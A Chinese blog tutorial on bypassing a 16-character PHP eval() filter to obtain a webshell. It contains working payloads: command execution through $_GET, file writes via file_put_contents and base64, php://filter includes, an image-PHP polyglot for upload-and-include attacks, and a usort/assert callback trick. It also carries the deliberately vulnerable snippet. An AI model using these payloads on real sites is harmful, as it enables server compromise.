当前位置: 首页 > ops >正文

EVAL长度限制突破方法

EVAL长度限制突破方法

<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //长度小于17,没有eval和assert关键字
{eval($param);
}
//stripos — 查找字符串首次出现的位置(不区分大小写)

在这里插入图片描述

eval函数参数限制在16个字符的情况下,如何拿到Webshell?

`$_GET[1]’

相似答案:

exec($_GET[1]); 

linux下反引号可以执行命令

?param=echo $_GET[0];&0=id

在这里插入图片描述

那么就可以写一些内容到一些文件里去

在这里插入图片描述

再访问一下

param=echo%20$_GET[0];&0=param=echo $_GET[0];&0=echo ‘<?php phpinfo();’ > a.php

写入成功

在这里插入图片描述

也可以使用base64编码写入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php

param=$_GET1;

param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents将数据写入文件
......
最后把PD9waHAgcGhwaW5mbygpOw写进文件N。
那怎么解码执行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read读取N里面的内容进行base64解码。虽然N不是php文件,但是文件包含可以把任意一个文件里面的php代码执行起来php:// — 访问各个输入/输出流(I/O streams)
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。(可用的过滤器:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器)
这里用转换过滤器:convert.base64-encode 和 convert.base64-decode。使用这两个过滤器等同于分别用 base64_encode()base64_decode() 函数处理所有的流数据。
文件包含

找一张普通图片

在这里插入图片描述

写一个php文件
在这里插入图片描述

copy /b 001.png + web.php /a web.jpg----------/b → 表示以二进制模式处理 001.png

​ + → 表示合并文件。

​ web.php→ 第二个文件。

​ /a→ 表示以 ASCII 文本模式 处理 web.php。

​ web.jpg → 最终输出的文件名。

在这里插入图片描述

web.jpg可以正常打开看到图片,使用记事本打开图片,可以在文件的最后看到写入的php代码。

在这里插入图片描述

很多网站都有上传图片的功能(上传头像等),上传之后检查代码就可以看到上传的路径,用include_$GET[‘文件路径’]就可以了。

在这里插入图片描述

在这里插入图片描述

文件包含可以把任意一个文件里面的php代码执行起来

在这里插入图片描述

usort(…$_GET);

?1[]=test&1[]=phpinfo();&2=assert

在windows上访问

在这里插入图片描述

使用BurpSuite抓包

在这里插入图片描述

抓到之后发送给Repeater,然后转换为POST

在这里插入图片描述

在这里插入图片描述

在php的整体运行流程中允许POST和GET同步执行

(…$_GET(变长参数))把1[]=test&1[]=phpinfo();&2=assert接过来了,然后就放到usort中,一个数组,一个回调函数。

在这里插入图片描述

发送

在这里插入图片描述

http://www.xdnf.cn/news/16134.html

相关文章:

  • java实体类常规校验(字符串不包含空格)
  • mac电脑(m1) - flask断点失效
  • 2025年区块链安全威胁全景:新兴漏洞、攻击向量与防护策略深度解析
  • 【数据结构初阶】--二叉树(二)
  • SAP-MM-采购订单批量创建 excel 版
  • MYOJ_10583:CSP初赛题单7:计算机常识综合练习
  • 人工智能与云计算双轮驱动:元宇宙如何重构全球产业生态
  • linux入门 相关linux系统操作命令(二)--文件管理系统 ubuntu22.04
  • Windows本地部署DeepSeek
  • Leetcode力扣解题记录--第2题(加法模拟)
  • 量子威胁下的区块链进化:后量子密码学时代的分布式账本革命
  • 从手动操作到自动化:火语言 RPA 在多系统协作中的实践
  • Elasticsearch 高级查询语法 Query DSL 实战指南
  • C#_定时器_解析
  • 光猫配置DMZ到路由器
  • 20-ospf技术
  • Kafka入门指南:从零开始掌握分布式消息队列
  • AI 在金融:重塑金融服务的智能革命
  • Linux中虚拟地址和物理地址互相转化之页表的详解
  • 微算法科技(NASDAQ: MLGO)研究量子信息递归优化(QIRO)算法,为组合优化问题拓展解决新思路
  • C++图论全面解析:从基础概念到算法实践
  • [iOS开发工具] 【iOS14以及以下】cydia商店按键精灵iOS新版V2.X安装教程
  • 教程:如何通过代理服务在国内高效使用 Claude API 并集成到 VSCode
  • 【SpringAI实战】FunctionCalling实现企业级自定义智能客服
  • 完整指南:使用Apache htpasswd为Chronograf配置基础认证及功能详解
  • 进阶向:基于Python的本地文件内容搜索工具
  • 机器学习概述与 KNN 算法详解
  • 亚纳米级检测!潜望式棱镜的“检测密码”,决定手机远景清晰度
  • 两台电脑连接交换机,使用其中一台电脑的网络上网(NAT转发)
  • 单片机的硬件结构